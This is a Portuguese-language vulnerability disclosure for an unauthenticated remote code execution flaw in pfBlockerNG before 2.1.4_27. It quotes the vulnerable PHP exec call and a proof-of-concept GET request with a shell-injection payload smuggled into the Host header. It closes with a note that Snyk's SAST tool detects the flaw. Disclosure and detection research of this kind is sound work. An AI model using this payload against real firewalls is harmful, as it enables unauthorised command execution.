
Exploração de prova de conceito para execução remota de código não autenticada no pfBlockerNg via entrada não sanitizada na função de consulta TLD do DNSBL, com análise de detecção SAST.
pfBlockerNG é a próxima geração do pfBlocker com os seguintes recursos:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
Execução remota de código não autenticada (RCE)
A consulta da seção de Bloqueio de TLD do index.php inclui uma entrada do usuário não sanitizada/não escapada d_query originada do cabeçalho Host no sumidouro da função exec do PHP.
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
Requer acesso HTTP ao console web do pfSense.
Exemplo de payload: ' *; sleep 5; '
Requisição de POC:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
Adoro o pfBlockerNg e fui inspirado pelo recente CVE-2022-31814 do Di r00t e pelo excelente writeup https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ e fiquei curioso para ver se a ferramenta de teste estático de segurança de aplicações (SAST) da Snyk detectaria a vulnerabilidade. Então baixei o respectivo arquivo index.php versão 2.1.4_26 e executei o Snyk Code contra ele. Com certeza, a Snyk detectou a vulnerabilidade e outra semelhante apenas algumas linhas depois.